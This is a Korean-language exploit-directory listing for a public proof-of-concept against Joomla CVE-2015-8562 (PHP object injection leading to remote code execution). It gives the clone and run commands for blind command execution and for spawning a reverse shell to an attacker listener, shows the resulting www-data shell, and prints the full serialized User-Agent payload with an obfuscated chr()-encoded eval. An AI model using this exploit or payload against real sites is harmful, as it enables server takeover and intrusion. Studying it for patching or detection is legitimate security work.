Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
Joomla_CVE-2015-8562 — Joomla의 CVE-2015-8562 취약점(객체 주입 RCE)에 대한 개념 증명 | Kitploit
도구/GitHubGitHub/voidsec/joomla_cve-2015-8562
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingPayload Development
GitHubvoidsec/joomla_cve-2015-8562

Joomla_CVE-2015-8562

Joomla의 CVE-2015-8562 취약점(객체 주입 RCE)에 대한 개념 증명

저장소 보기
1186년 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
웹사이트

Joomla_CVE-2015-8562

Joomla의 CVE-2015-8562 취약점(객체 삽입 RCE)에 대한 개념 증명(PoC)

소개/변경 기록

이 PoC는 exploit-db에 호스팅된 구현의 두 번째 버전입니다.

root@kitploit:~
-세션 재생성 수정
-X-Forwarded-For에서 User-Agent 메서드로 전환하는 옵션 추가
-python 리버스 셸에서 bash 리버스 셸로 전환하는 옵션 추가
-http 스키마 누락 및 스크립트 종료에 대한 예외 처리 추가
-더 나은 사용성, 메시지 및 색상으로 수정
-TODO: msf 지원 추가

사용 방법

root@kitploit:~
git clone https://github.com/VoidSec/Joomla_CVE-2015-8562.git
cd Joomla_CVE-2015-8562

블라인드 RCE:

root@kitploit:~
python joomla-cve-2015-8562.py -t http://<target_ip>/ --cmd
$ touch /tmp/test

리버스 셸 실행:

root@kitploit:~
python joomla-cve-2015-8562.py -t http://<target_ip>/ -l <local_ip> -p <local_port>
[-] Attempting to exploit Joomla RCE (CVE-2015-8562) on: http://<target_ip>/
[-] Uploading python reverse shell
<Response [200]>
[+] Spawning reverse shell....
<Response [200]>
Listening on [0.0.0.0] (family 0, port 1337)
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

CVE-2015-8562

2015년 12월 Joomla에서 새로운 취약점이 발견되었습니다. 이 취약점은 원격 공격자가 HTTP User-Agent 헤더를 통해 PHP 객체 삽입 공격을 악용하고 임의의 PHP 코드를 실행할 수 있게 합니다.

이 취약점은 Joomla 1.5.0 ~ 3.4.5 및 PHP 5.4.45 이전 버전(5.3.x 포함), 5.5.29 또는 5.6.13 이전 버전을 대상으로 합니다 CVE-2015-6835.

이 취약점을 설명하는 블로그 게시물을 작성했습니다.

전송된 헤더의 형태는 다음과 같습니다.

root@kitploit:~
}__test|O:21:"JDatabaseDriverMysqli":3:{
	s:2:"fc";
	O:17:"JSimplepieFactory":0:{}
	s:21:"\0\0\0disconnectHandlers";
	a:1:{
		i:0;
		a:2:{
			i:0;
			O:9:"SimplePie":5:{
				s:8:"sanitize";
				O:20:"JDatabaseDriverMysql":0:{}
				s:8:"feed_url";
				s:305:"eval(chr(115).chr(121).chr(115).chr(116).chr(101).chr(109).chr(40).chr(39).chr(112).chr(121).chr(116).chr(104).chr(111).chr(110).chr(32).chr(47).chr(116).chr(109).chr(112).chr(47).chr(76).chr(56).chr(51).chr(55).chr(66).chr(72).chr(46).chr(112).chr(121).chr(39).chr(41).chr(59));
				JFactory::getConfig();
				exit";
				s:19:"cache_name_function";
				s:6:"assert";
				s:5:"cache";
				b:1;s:11:"cache_class";
				O:20:"JDatabaseDriverMysql":0:{}
				}
			i:1;
			s:4:"init";
			}
		}
	s:13:"\0\0\0connection";
	b:1;
}ýýýý
도구 다운로드